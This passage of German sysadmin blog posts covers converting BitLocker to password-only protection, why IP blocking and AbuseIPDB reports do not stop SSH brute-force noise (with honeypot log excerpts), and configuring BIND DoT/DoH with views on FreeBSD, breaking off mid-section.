Warum erzähle ich das? Na, weil die SSD irgendwann aufgegeben hat und ich mein Windows neu installieren darf. Ein Backup spare ich mir, da es eh nur zum Zocken ist.

Windows 11 war „schnell“ wieder installiert. Dann noch alle Treiber usw. – Gott, ist das noch immer alles aufwendig… Wie auch immer: Windows 11 und die Games sind drauf. Los geht’s!

Nun fragt mich mein BitLocker bei jedem Start der Betriebssystemfestplatte nach dem BitLocker-Wiederherstellungsschlüssel, wenn ich vorher in meinem Linux war. Da zuckt so eine Erinnerung durch mein Hirn: Das gleiche hatte ich schon mal, am gleichen Rechner. Wie hatte ich das damals gelöst? Ich habe nichts darüber geschrieben, also ist es einfach weg. Diesen Fehler mache ich nicht noch mal. Also liest du gerade etwas darüber. 😄

Der Ausgangspunkt: Ein Windows 11 Pro, installiert auf einer SSD, inkl. BitLocker-Verschlüsselung und TPM mit PIN. Warum PIN? Ich fühle mich einfach besser, wenn es noch eine manuelle Hürde zur Entschlüsselung gibt; Ist auch egal, soll ja nun weg.

Terminal als Administrator ausführen und dann:

```
C:\Windows\System32> manage-bde -status
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Datenträgervolumes, die mit BitLocker-Laufwerkverschlüsselung
geschützt werden können:
Volume "C:" [System]
[Betriebssystemvolume]

    Größe:                        465,00 GB
    BitLocker-Version:            2.0
    Konvertierungsstatus:         Nur verwendeter Speicherplatz ist verschlüsselt
    Verschlüsselt (Prozent):      100,0 %
    Verschlüsselungsmethode:      XTS-AES 128
    Schutzstatus:                 Der Schutz ist aktiviert.
    Sperrungsstatus:              Entsperrt
    ID-Feld:                      Unbekannt
    Schlüsselschutzvorrichtungen:
        Numerisches Kennwort
        TPM und PIN
        TPM
C:\Windows\System32>
```

Schlüsselschutzvorrichtungen sind also numerisches Kennwort, TPM und PIN, sowie TPM. Was fehlt? Richtig, das Password. Da ich nur das Password möchte, kann im Grunde alles weg. Damit Windows 11 mir erlaubt, TPM von meinem Betriebssystemvolume zu entfernen, muss ich vorher noch eine Gruppenrichtlinie anpassen.

Dafür einfach die Tastenkombination **Win + S** drücken und nach *Gruppenrichtlinie bearbeiten* suchen.

[[Bild: Editor für lokale Gruppenrichtlinien mit geöffneter Einstellung 'Zusätzliche Authentifizierung beim Start anfordern' unter 'Computerkonfiguration > Administrative Vorlagen > BitLocker-Laufwerkverschlüsselung > Betriebssystemlaufwerke'. Die Option ist aktiviert, um die BitLocker-Verschlüsselung ohne TPM zu ermöglichen.]](https://www.kernel-error.de/wp-content/uploads/2024/12/BitLocker-ohne-TPM-001.jpg)

[[Bild: Detailansicht der Gruppenrichtlinieneinstellung 'Zusätzliche Authentifizierung beim Start anfordern'. Die Option 'BitLocker ohne kompatibles TPM zulassen' ist aktiviert, und die Konfiguration für TPM-Start, Systemstartschlüssel und PIN wird angezeigt. Die Beschreibung auf der rechten Seite erläutert die Auswirkungen der Richtlinie.]](https://www.kernel-error.de/wp-content/uploads/2024/12/BitLocker-ohne-TPM-002.jpg)

Dann zu:
**Computerkonfiguration** ⇒ **Administrative Vorlagen** ⇒ **BitLocker-Laufwerkverschlüsselung** ⇒ **Betriebssystemlaufwerke** ⇒ **Zusätzliche Authentifizierung beim Start anfordern.**

Hier die Einstellung so ändern, dass der Haken bei *„BitLocker ohne kompatibles TPM zulassen“* gesetzt ist.

Im Anschluss sicherstellen, dass die neue Gruppenrichtlinie auch angewendet wird. Dazu im Administrator-Terminal einfach ein kurzes:

```
PS C:\WINDOWS\system32> gpupdate /force
Die Richtlinie wird aktualisiert...

Die Aktualisierung der Computerrichtlinie wurde erfolgreich abgeschlossen.
Die Aktualisierung der Benutzerrichtlinie wurde erfolgreich abgeschlossen.

PS C:\WINDOWS\system32>
```

So, jetzt wird’s spannend. Erstmal alle Schlüsselschutzvorrichtungen deaktivieren, dann löschen, die neue Schlüsselschutzvorrichtung *Password* hinzufügen und alles wieder aktivieren. Das Ganze natürlich im Administrator-Terminal. Ich starte damit, alle Schlüsselschutzvorrichtungen zu deaktivieren:

```
C:\Windows\System32>manage-bde -protectors -disable C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Die Schlüsselschutzvorrichtungen für Volume "C:" sind deaktiviert.
```

Als Nächstes schaue ich nach, welche Schlüsselschutzvorrichtungen auf meinem Betriebssystemvolume eingerichtet sind.

```
C:\Windows\System32>manage-bde -protectors -get C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Volume "C:" [System]
Alle Schlüsselschutzvorrichtungen

    Numerisches Kennwort:
      ID: {AF6C0AAD-B337-4519-8D66-C06386994D97}
      Kennwort:
        673101-147301-650001-335379-291368-420618-438350-305327
      Sicherungstyp:
        In Datei gespeichert

    TPM und PIN:
      ID: {D5F87162-5556-4C27-82F9-25B389DBAF1B}
      PCR-Validierungsprofil:
        0, 2, 4, 11

    TPM:
      ID: {CA1BF147-2C40-4934-9161-660FBB44BA2C}
      PCR-Validierungsprofil:
        0, 2, 4, 11
```

Jetzt lösche ich alle Schlüsselschutzvorrichtungen anhand ihrer IDs:

```
C:\Windows\System32>manage-bde -protectors -delete C: -id {D5F87162-5556-4C27-82F9-25B389DBAF1B}
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Volume "C:" [System]
Schlüsselschutzvorrichtung mit ID {D5F87162-5556-4C27-82F9-25B389DBAF1B}

    TPM und PIN:
      ID: {D5F87162-5556-4C27-82F9-25B389DBAF1B}
      PCR-Validierungsprofil:
        0, 2, 4, 11

Die Schlüsselschutzvorrichtung mit der ID "{D5F87162-5556-4C27-82F9-25B389DBAF1B}" wurde gelöscht.

C:\Windows\System32>manage-bde -protectors -delete C: -id {CA1BF147-2C40-4934-9161-660FBB44BA2C}
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Volume "C:" [System]
Schlüsselschutzvorrichtung mit ID {CA1BF147-2C40-4934-9161-660FBB44BA2C}

    TPM:
      ID: {CA1BF147-2C40-4934-9161-660FBB44BA2C}
      PCR-Validierungsprofil:
        0, 2, 4, 11

Die Schlüsselschutzvorrichtung mit der ID "{CA1BF147-2C40-4934-9161-660FBB44BA2C}" wurde gelöscht.

C:\Windows\System32>manage-bde -protectors -delete C: -id {AF6C0AAD-B337-4519-8D66-C06386994D97}
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Volume "C:" [System]
Schlüsselschutzvorrichtung mit ID {AF6C0AAD-B337-4519-8D66-C06386994D97}

    Numerisches Kennwort:
      ID: {AF6C0AAD-B337-4519-8D66-C06386994D97}
      Kennwort:
        673101-147301-650001-335379-291368-420618-438350-305327
      Sicherungstyp:
        In Datei gespeichert

Die Schlüsselschutzvorrichtung mit der ID "{AF6C0AAD-B337-4519-8D66-C06386994D97}" wurde gelöscht.
```

Wenn ich jetzt noch einmal kontrolliere, welche Schlüsselschutzvorrichtungen ich habe, sollten dort keine mehr stehen.

```
C:\Windows\System32>manage-bde -protectors -get C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Volume "C:" [System]
Alle Schlüsselschutzvorrichtungen

FEHLER: Es wurden keine Schlüsselschutzvorrichtungen gefunden.
```

Damit kann ich jetzt meine neue, gewünschte Schlüsselschutzvorrichtung *Passwort* hinzufügen.

```
C:\Windows\System32>manage-bde -protectors -add C: -password
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Geben Sie das Kennwort ein, das zum Schützen des Volumes verwendet werden soll:

Bestätigen Sie das Kennwort durch erneute Eingabe:

Hinzugefügte Schlüsselschutzvorrichtungen:

    Kennwort:
      ID: {4D141862-4C75-4321-AA6D-8BABB89C601C}
```

Bleibt nur noch, diese auch zu aktivieren.

```
C:\Windows\System32>manage-bde -protectors -enable C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Die Schlüsselschutzvorrichtungen für Volume "C:" sind aktiviert.
```

Wenn ich jetzt den BitLocker-Status prüfe, ist alles aktiv, und es gibt nur noch die Schlüsselschutzvorrichtung *Kennwort / Password*!

```
C:\Windows\System32>manage-bde -status
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Datenträgervolumes, die mit BitLocker-Laufwerkverschlüsselung
geschützt werden können:
Volume "C:" [System]
[Betriebssystemvolume]

    Größe:                        465,00 GB
    BitLocker-Version:            2.0
    Konvertierungsstatus:         Nur verwendeter Speicherplatz ist verschlüsselt
    Verschlüsselt (Prozent):      100,0 %
    Verschlüsselungsmethode:      XTS-AES 128
    Schutzstatus:                 Der Schutz ist aktiviert.
    Sperrungsstatus:              Entsperrt
    ID-Feld:                      Unbekannt
    Schlüsselschutzvorrichtungen:
        Kennwort
```

Starte ich meinen Computer und wähle im Grub Windows aus, werde ich danach nach meinem BitLocker-Kennwort gefragt, und das System fährt sauber hoch.

Fragen? Dann fragen 🙂

---


---


## 14. SSH-Bruteforce, DigitalOcean und AbuseIPDB – warum Blocken das Problem nicht löst

**Veröffentlicht:** 2026-01-07
**Permalink:** https://www.kernel-error.de/2026/01/07/ssh-bruteforce-digitalocean-und-abuseipdb-warum-blocken-das-problem-nicht-loest/
**Description:** SSH-Bruteforce und AbuseIPDB — warum reines IP-Blocking gegen Bot-Angriffe ineffektiv ist und bessere Strategien für die Server-Absicherung.

Aus gegebenem Anlass möchte ich ein paar Gedanken zu DigitalOcean aufschreiben. Nicht, weil ich glaube, dass DigitalOcean ein grundsätzliches Problem hat oder etwas falsch macht. Sondern weil DigitalOcean in meinen Logs seit Jahren besonders auffällt. Am Ende steht DigitalOcean hier eher sinnbildlich für ein größeres Thema.

Wer Systeme im Internet betreibt, kennt das Spiel. Server werden dauerhaft von außen angefasst. SSH-Ports werden gescannt, Login-Versuche laufen durch, Webseiten bekommen Requests auf bekannte Pfade, WordPress-Logins, XML-RPC, das volle Programm. Das ist kein gezielter Angriff, sondern automatisiertes Dauerrauschen. Bots, Skripte, Scanner, manchmal Security-Tools, manchmal schlicht schlecht konfigurierte Kisten.

[[Bild: Darstellung von automatisierten SSH-Bruteforce-Angriffen und Server-Härtung in Cloud-Umgebungen]](https://www.kernel-error.de/wp-content/uploads/2026/01/abuse-digitalocean.png)

Findet so ein Bot irgendwo ein offenes Loch, einen Standard-Login, ein vergessenes Passwort oder eine ungepatchte Schwachstelle, dann geht es weiter. Meistens wird erst einmal weitere Software nachgeladen. Der Host wird Teil eines Botnetzes, scannt selbst weiter, verteilt Spam, nimmt an DDoS-Aktionen teil oder schürft Kryptowährungen. Nichts davon ist neu, nichts davon ist überraschend.

Was mir allerdings seit mindestens vier Jahren auffällt: Ein sehr großer Teil dieser Brute-Force-Versuche, insbesondere auf SSH, kommt bei mir aus Netzen von DigitalOcean. Nicht ein bisschen mehr, sondern konstant irgendwo im Bereich von achtzig bis neunzig Prozent. Über Jahre. Über verschiedene Systeme hinweg.

Der erste Reflex liegt nahe. Wenn so viel aus einem Netz kommt, warum blockt man dann nicht einfach alle Netze dieses Anbieters? Dann ist Ruhe. Und wenn das alle machen würden, müsste der Anbieter ja reagieren. Der Gedanke ist verständlich. Ich hatte ihn selbst. Er ist aber aus meiner Sicht der falsche.

Ein pauschales Blocken ist im Grunde nichts anderes als eine Decke über das eigentliche Problem zu werfen. Das Problem ist damit nicht weg, es ist nur woanders. Die Bots wechseln dann eben zum nächsten Cloud-Provider. Außerdem produziert man sich damit ganz eigene Probleme. DigitalOcean-Netze komplett zu sperren heißt auch, legitimen Traffic auszusperren. APIs, Dienste, Kunden, Monitoring, externe Abhängigkeiten. Je nach Setup schneidet man sich damit schneller ins eigene Fleisch, als einem lieb ist.

Relativ schnell landet man dann bei Reputation-Diensten wie [AbuseIPDB](https://www.abuseipdb.com/user/34530). Dort melden Betreiber IPs, von denen Scans, Brute-Force-Versuche oder andere Auffälligkeiten ausgehen. Auch ich melde dort seit Jahren IPs, automatisiert und manuell. Formal funktioniert das gut. IPs bekommen Scores, werden gelistet, tauchen in Datenbanken auf.

Das Problem ist nur: Diese Systeme arbeiten IP-basiert. Und genau das passt schlecht zur Realität moderner Netze. In Cloud-Umgebungen sind IPs kurzlebig. Heute gehört sie einem kompromittierten Host, morgen einem völlig legitimen Kunden. Ein hoher Abuse-Score sagt wenig über den aktuellen Nutzer dieser IP aus. Reputation ist träge, Infrastruktur ist schnell.

```
Jan  6 22:58:08 honeypot03 sshd-session[61904]: Invalid user sonar from 64.23.228.101 port 38610
Jan  6 22:58:08 honeypot03 sshd-session[61904]: Connection closed by invalid user sonar 64.23.228.101 port 38610 [preauth]
Jan  6 23:02:13 honeypot03 sshd-session[62101]: Invalid user sonar from 64.23.228.101 port 38174
Jan  6 23:02:13 honeypot03 sshd-session[62101]: Connection closed by invalid user sonar 64.23.228.101 port 38174 [preauth]
Jan  6 23:06:12 honeypot03 sshd-session[62175]: Invalid user sonar from 64.23.228.101 port 35952
Jan  6 23:06:12 honeypot03 sshd-session[62175]: Connection closed by invalid user sonar 64.23.228.101 port 35952 [preauth]
Jan  6 23:10:10 honeypot03 sshd-session[62248]: Invalid user steam from 64.23.228.101 port 38236
Jan  6 23:10:10 honeypot03 sshd-session[62248]: Connection closed by invalid user steam 64.23.228.101 port 38236 [preauth]
Jan  6 23:14:17 honeypot03 sshd-session[62335]: Invalid user steam from 64.23.228.101 port 35952
Jan  6 23:14:18 honeypot03 sshd-session[62335]: Connection closed by invalid user steam 64.23.228.101 port 35952 [preauth]
Jan  6 23:18:22 honeypot03 sshd-session[62455]: Invalid user steam from 64.23.228.101 port 50096
Jan  6 23:18:22 honeypot03 sshd-session[62455]: Connection closed by invalid user steam 64.23.228.101 port 50096 [preauth]
Jan  6 23:22:24 honeypot03 sshd-session[62599]: Invalid user sugi from 64.23.228.101 port 53212
Jan  6 23:22:25 honeypot03 sshd-session[62599]: Connection closed by invalid user sugi 64.23.228.101 port 53212 [preauth]
Jan  6 23:26:26 honeypot03 sshd-session[62671]: Invalid user svnuser from 64.23.228.101 port 44820
Jan  6 23:26:26 honeypot03 sshd-session[62671]: Connection closed by invalid user svnuser 64.23.228.101 port 44820 [preauth]
Jan  6 23:30:26 honeypot03 sshd-session[62763]: Invalid user svnuser from 64.23.228.101 port 52156
Jan  6 23:30:27 honeypot03 sshd-session[62763]: Connection closed by invalid user svnuser 64.23.228.101 port 52156 [preauth]
Jan  6 23:34:30 honeypot03 sshd-session[62867]: Invalid user taryn from 64.23.228.101 port 54128
Jan  6 23:34:31 honeypot03 sshd-session[62867]: Connection closed by invalid user taryn 64.23.228.101 port 54128 [preauth]
Jan  6 23:38:41 honeypot03 sshd-session[62939]: Invalid user taryn from 64.23.228.101 port 39894
Jan  6 23:38:42 honeypot03 sshd-session[62939]: Connection closed by invalid user taryn 64.23.228.101 port 39894 [preauth]
Jan  6 23:42:44 honeypot03 sshd-session[63013]: Invalid user taryn from 64.23.228.101 port 57728
Jan  6 23:42:45 honeypot03 sshd-session[63013]: Connection closed by invalid user taryn 64.23.228.101 port 57728 [preauth]
Jan  6 23:46:45 honeypot03 sshd-session[63160]: Invalid user taryn from 64.23.228.101 port 38438
Jan  6 23:46:45 honeypot03 sshd-session[63160]: Connection closed by invalid user taryn 64.23.228.101 port 38438 [preauth]
Jan  6 23:50:49 honeypot03 sshd-session[63252]: Invalid user taryn from 64.23.228.101 port 54070
Jan  6 23:50:49 honeypot03 sshd-session[63252]: Connection closed by invalid user taryn 64.23.228.101 port 54070 [preauth]
Jan  6 23:54:55 honeypot03 sshd-session[63354]: Invalid user terrance from 64.23.228.101 port 57960
Jan  6 23:54:55 honeypot03 sshd-session[63354]: Connection closed by invalid user terrance 64.23.228.101 port 57960 [preauth]
Jan  6 23:59:05 honeypot03 sshd-session[63472]: Invalid user terrance from 64.23.228.101 port 47558
Jan  6 23:59:05 honeypot03 sshd-session[63472]: Connection closed by invalid user terrance 64.23.228.101 port 47558 [preauth]
Jan  7 00:03:11 honeypot03 sshd-session[64731]: Invalid user terrance from 64.23.228.101 port 42938
Jan  7 00:03:11 honeypot03 sshd-session[64731]: Connection closed by invalid user terrance 64.23.228.101 port 42938 [preauth]
```

Damit erklärt sich auch, warum Provider solche externen Feeds nicht einfach hart umsetzen. Würde man IPs automatisiert abschalten, nur weil sie in einer Datenbank schlecht bewertet sind, träfe man regelmäßig Unbeteiligte. False Positives wären vorprogrammiert. Rechtlich, operativ und wirtschaftlich ist das für Provider kaum tragbar.

Warum also fällt DigitalOcean so stark auf? Das kann ich nicht belegen, nur einordnen. DigitalOcean ist günstig, schnell, einfach. In wenigen Minuten hat man dort eine VM mit öffentlicher IP. Das ist für legitime Nutzer attraktiv, aber eben auch für Leute mit schlechten Absichten. Wenn Infrastruktur billig und niedrigschwellig ist, taucht sie zwangsläufig häufiger in Logs auf. Dazu kommt, dass viele Systeme dort von Menschen betrieben werden, die vielleicht noch nicht so tief im Thema Security stecken. Offene Dienste, schwache Konfigurationen, fehlendes Hardening – all das macht solche Hosts wiederum zu guten Kandidaten für Kompromittierung und Weiterverwendung.

Wichtig dabei: DigitalOcean selbst macht aus meiner Sicht nichts grundlegend falsch. Der Abuse-Prozess funktioniert. Meldungen lassen sich automatisiert einreichen, werden angenommen, werden beantwortet, werden bearbeitet. Ich habe das über Jahre hinweg genutzt, [sowohl manuell ](https://www.digitalocean.com/company/contact/abuse)als auch automatisiert. Das ist sauber umgesetzt.

Was sich dadurch aber nicht ändert, ist die Menge der Versuche. Die wird nicht weniger. Sie bleibt konstant. Einzelne Hosts verschwinden, neue tauchen auf. Abuse-Meldungen – egal ob direkt beim Provider oder über Plattformen wie AbuseIPDB – wirken immer nur lokal und zeitverzögert. Gegen ein strukturelles Phänomen kommen sie nicht an.

Aus Sicht eines Providers ist das auch logisch. Ein paar tausend fehlgeschlagene SSH-Logins sind kein Incident. Kein DDoS, kein Ausfall, kein messbarer Schaden. Das fällt unter Hintergrundrauschen. Niemand bezahlt dafür, dieses Rauschen global zu eliminieren. Und ehrlich gesagt: Das kann auch niemand realistisch leisten.

Die eigentliche Konsequenz daraus ist unbequem, aber klar. Man darf nicht erwarten, dass Provider oder Reputation-Datenbanken einem dieses Problem abnehmen. Scan- und Brute-Force-Traffic gehört heute zum Betrieb eines öffentlich erreichbaren Systems dazu. Die einzige Stelle, an der man sinnvoll ansetzen kann, ist das eigene Setup.

Saubere Konfiguration. Keine Passwort-Logins per SSH. Kein Root-Login. Rate-Limits. Monitoring, das zwischen Rauschen und echten Zustandsänderungen unterscheidet. [Fail2Ban](https://de.wikipedia.org/wiki/Fail2ban) als Dämpfer, nicht als Illusion von Sicherheit. Und vor allem: Gelassenheit gegenüber Logs, die voll sind, aber nichts bedeuten.

DigitalOcean ist hier nicht der Feind. AbuseIPDB ist kein Allheilmittel. Beides sind sichtbare Teile eines größeren Bildes. Das eigentliche Thema ist, wie man Systeme so betreibt, dass dieses Hintergrundrauschen irrelevant wird.

---


---


## 15. BIND auf FreeBSD: DoT & DoH einrichten mit Views, IP-Trennung und Testplan für IPv4/IPv6.

**Veröffentlicht:** 2026-01-03
**Permalink:** https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/
**Description:** BIND 9.20 mit DoT und DoH unter FreeBSD 15 — DNS over TLS/HTTPS mit Views, IP-Trennung und Sicherheits-Features einrichten.

### Wofür braucht man noch gleich DoT oder DoH?

Nun, wenn du eine Internetadresse eingibst, muss dein Gerät zuerst herausfinden, zu welchem Server diese Adresse gehört. Diese Nachfragen heißen DNS. Lange Zeit liefen sie unverschlüsselt durchs Netz, vergleichbar mit einer Postkarte. Jeder, der den Datenverkehr sehen konnte, wusste dadurch sehr genau, welche Webseiten aufgerufen werden, und konnte die Antworten sogar manipulieren.

[[Bild: Beitragsgrafik zu BIND 9.20 auf FreeBSD 15: schematische Trennung von autoritativem DNS und rekursivem Resolver. Links ein Authoritative-DNS-Server mit deaktivierter Rekursion und blockiertem UDP/53, rechts ein Resolver, der ausschließlich DNS over TLS (Port 853) und DNS over HTTPS (Port 443) anbietet. In der Mitte ein Schild mit DoT/DoH-Symbolen, Pfeile zeigen verschlüsselten DNS-Verkehr. Fokus auf Sicherheits- und Rollen-Trennung.]](https://www.kernel-error.de/wp-content/uploads/2026/01/bind9-dot-doh.png)

DoT und DoH lösen genau dieses Problem. Beide sorgen dafür, dass diese DNS-Nachfragen verschlüsselt übertragen werden. Bei DNS over TLS, kurz DoT, wird die Anfrage in eine eigene sichere Verbindung gepackt. Außenstehende sehen noch, dass eine DNS-Anfrage stattfindet, aber nicht mehr, welche Webseite gemeint ist. Bei DNS over HTTPS, kurz DoH, wird dieselbe Anfrage zusätzlich im normalen Webseitenverkehr versteckt. Von außen sieht sie aus wie ein ganz gewöhnlicher Zugriff auf eine Website.

Der Zweck von beiden ist also derselbe: Schutz der Privatsphäre und Schutz vor Manipulation. Der Unterschied liegt darin, wie sichtbar diese Nachfragen noch sind. DoT ist transparent und gut kontrollierbar, DoH ist unauffälliger, kann dafür aber lokale Regeln und Schutzmechanismen umgehen.

Mal angenommen, du möchtest eine gewisse Webseite aufrufen. Dann geht der Client los und holt über einen DNS-Server die IP-Adressen vom Server. Dies kann man mitlesen und ggf. verändern. Mitlesen sagt dem Mitlesenden, wo du dich so im Internet herumtreibst. Verändern könnte man als Angriff nutzen, indem man dir einfach eine andere Webseite vorsetzt, während du versuchst, dich in deinen Mailaccount einzuloggen. Beides wird durch DoH und DoT deutlich erschwert.

Dann soll es ja Netzwerke geben, in welchen dir ein bestimmter DNS-Server aufgezwungen wird, weil dieser DNS-Server nach Werbung oder ungewollten Inhalten filtert. Damit dies nun ebenfalls nicht einfach umgangen werden kann, blockt man den Zugriff aus dem Netzwerk einfach auf die Ports, welche sonst für eine DNS-Abfrage benutzt werden (TCP/53, UDP/53, TCP/853). Da kommt nun DoH ins Spiel, denn das läuft auf dem ganz normalen HTTPS-Port TCP/443. Blockt man den, kann keiner mehr auf Webseiten zugreifen (ok, unverschlüsselt, aber hey, das macht doch keiner mehr, oder?).

Die Zeit ging weiter – BIND auch.
Meine älteren Artikel zu [DoT](https://www.kernel-error.de/2019/07/16/dot-dns-over-tls-mit-bind-stunnel-und-android-9/)/[DoH ](https://www.kernel-error.de/2019/11/19/doh-dns-over-https-mit-bind/)waren für ihren Zeitpunkt korrekt, aber inzwischen hat sich an zwei Stellen richtig was getan:

- **BIND spricht [DoT](https://www.kernel-error.de/2019/07/16/dot-dns-over-tls-mit-bind-stunnel-und-android-9/)/[DoH](https://www.kernel-error.de/2019/11/19/doh-dns-over-https-mit-bind/) nativ** (kein Stunnel-/Proxy-Zirkus mehr nötig – außer du willst bewusst terminieren/filtern).

- **„Authoritative + Public Resolver auf derselben Kiste“** ist ohne klare Trennung schnell ein Sicherheitsproblem (Open-Resolver/Reflection-Missbrauch lässt grüßen).

Darum gibt’s hier das Update:

- **ns1.kernel-error.de**: nur autoritativ auf **UDP/TCP 53** (Zonen, DNSSEC wie gehabt)

- **[dns.kernel-error.de](https://dns.kernel-error.de/dns-query)**: Public Resolver nur auf **DoT 853/TCP** und **DoH 443/TCP** (rekursiv, DNSSEC-validierend)

- **Trennung über zusätzliche IPs + Views**. Ergebnis: Authoritative bleibt „stumm rekursiv“, Resolver ist nur über TLS/HTTPS erreichbar.

### Zielbild

Uff, ich muss zugeben, diesen Beitrag schon VIEL zu lange als Draft zu haben. Es ist einfach viel zu schreiben, bschreiben und mir fehlte die Zeit. Aber das kennt ihr ja. OK… das Zielbild, was soll es werden?

**Was soll am Ende gelten:**

- Port 53 auf Authoritative-IP(s):

beantwortet **nur** meine autoritativen Zonen

- **keine Rekursion** → REFUSED bei `google.com`

- DoT/DoH auf separaten Resolver-IP(s):

rekursiv für „das ganze Internet“

- DNSSEC-Validation aktiv

- *kein* offenes UDP/53 → weniger Angriffsfläche für Reflection/Amplification

**Warum das wichtig ist:**
Ein „Public Resolver“ ist per Definition attraktiv für Missbrauch. Der Klassiker ist **[DNS-Amplification](https://de.wikipedia.org/wiki/DNS_Amplification_Attack)** über UDP/53. Wenn man Rekursion auf 53 offen hat, ist man sehr schnell Teil fremder Probleme. DoT/DoH sind TCP-basiert – das ist schon mal deutlich unattraktiver für Reflection. (Nicht „unmöglich“, aber praktisch viel weniger lohnend.)

### Warum „Views“ – und warum zusätzliche IPs?

### 1) Views – weil Policy pro Anfrage gelten muss

Wir wollen auf *derselben named-Instanz* zwei sehr unterschiedliche Rollen:

- **Authoritative**: `recursion no;`

- **Resolver**: `recursion yes;` + Root-Hints/Cache

Das muss **pro eingehender Anfrage** entschieden werden. Dafür sind Views da.

2) Also: Trennung über Ziel-IP (match-destinations)

Wenn wir **DoH/DoT auf andere IPs legen**, kann die View anhand der Zieladresse entscheiden:

- Anfrage geht an `93.177.67.26` / `2a03:4000:38:20e::53` → **auth-View**

- Anfrage geht an `37.120.183.220` / `2a03:4000:38:20e::853` → **resolver-View**

Und genau deshalb brauchen wir:

- **zusätzliche IPs** (damit die Rollen sauber getrennt sind)

- **separaten FQDN** `dns.kernel-error.de` (damit Clients überhaupt sinnvoll DoT/DoH nutzen können – und für TLS/SNI/Cert-Match)

Wenn du also grade ein ripe from ausfüllst und angeben musst, warum da eine weitere IPv4 Adresse „verbrannt“ werden soll, hast du nun eine gute Antwort 😀

BIND-Config

Ich beschreibe hier nur die Teile, die für das Rollen-Split relevant sind. Die Zonendateien/Slaves bleiben wie sie sind.

### 1) /usr/local/etc/namedb/named.conf – Views

**Wichtig:** Sobald wir `view {}` nutzen, müssen *alle* Zonen in Views liegen, sonst bricht `named-checkconf` ab. Das ist kein „Feature“, das ist BIND. Leicht nervig, vor allem wenn man nun viel in seinem Setup umschreiben muss. Aber ich eigentlich schon mal erwähnt, dass ich auf der Arbeit mal einen, nennen wir es mal View Ersatz, für powerdns gesehen habe? Da hat tatsächlich jemand mit einer Cisco ASA in die DNS Pakete geschaut und je nachdem welche quelle angefragt hat, wurde dann durch die ASA eine neue Adresse in die DNS Pakete geschrieben. Furchtbar! Richtig schlimm. Bis man so etwas findet, wenn man es nicht weiß. DNSsec geht kaputt und aaahhhhhhaaaaaahhhhh. Egal, mein PTBS kickt da grade. Öhm wo waren wir? Genau…

Beispiel:

```
include "/usr/local/etc/namedb/named.conf.options";

view "auth" {
    match-clients { any; };
    match-destinations { 93.177.67.26; 2a03:4000:38:20e::53; };

    recursion no;
    allow-recursion { none; };
    allow-query-cache { none; };
    allow-query { any; };

    include "/usr/local/etc/namedb/named.conf.default-zones";
    include "/usr/local/etc/namedb/named.conf.master";
    include "/usr/local/etc/namedb/named.conf.slave";
};

view "resolver" {
    match-clients { any; };
    match-destinations { 37.120.183.220; 2a03:4000:38:20e::853; 127.0.0.1; ::1; };

    recursion yes;
    allow-recursion { any; };
    allow-query-cache { any; };
    allow-query { any; };

    zone "." { type hint; file "/usr/local/etc/namedb/named.root"; };
};
```

**Warum Root-Hints nur im Resolver-View?**
Weil nur dieser View rekursiv arbeiten soll. Ohne Root-Hints ist Rekursion tot; dat wolln wa so!

### 2) /usr/local/etc/namedb/named.conf.options – Listener-Trennung + DoH/DoT

Der „Aha-Moment“ hier: Wir trennen nicht nur per View, sondern auch per `listen-on`.
Damit bindet named die Ports wirklich nur auf den gewünschten IPs.

**Authoritative (nur 53):**

```
listen-on { 93.177.67.26; 127.0.0.1; };
listen-on-v6 { 2a03:4000:38:20e::53; ::1; };
```

**DoT auf Resolver-IPs (+ Loopback für lokale Tests):**

```
listen-on port 853 tls local-tls { 37.120.183.220; 127.0.0.1; };
listen-on-v6 port 853 tls local-tls { 2a03:4000:38:20e::853; ::1; };
```

**DoH auf Resolver-IPs (+ Loopback):**
BIND 9.18+ kann DoH nativ, Endpoint typischerweise `/dns-query`

```
http doh-local {
    endpoints { "/dns-query"; };
    listener-clients 1000;
    streams-per-connection 256;
};

listen-on port 443 tls local-tls http doh-local { 37.120.183.220; 127.0.0.1; };
listen-on-v6 port 443 tls local-tls http doh-local { 2a03:4000:38:20e::853; ::1; };
```

**TLS-Block (DoT/DoH):**

```
tls local-tls {
    cert-file "/usr/local/etc/nginx/ssl/wild.kernel-error.de/2025/ecp/chain.crt";
    key-file "/usr/local/etc/nginx/ssl/wild.kernel-error.de/2025/ecp/http.key";
    protocols { TLSv1.2; TLSv1.3; };
    ciphers "ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256";
    cipher-suites "TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256";
    prefer-server-ciphers yes;
    session-tickets no;
};
```

**„Ich schalte nginx davor – muss BIND TLS können?“**
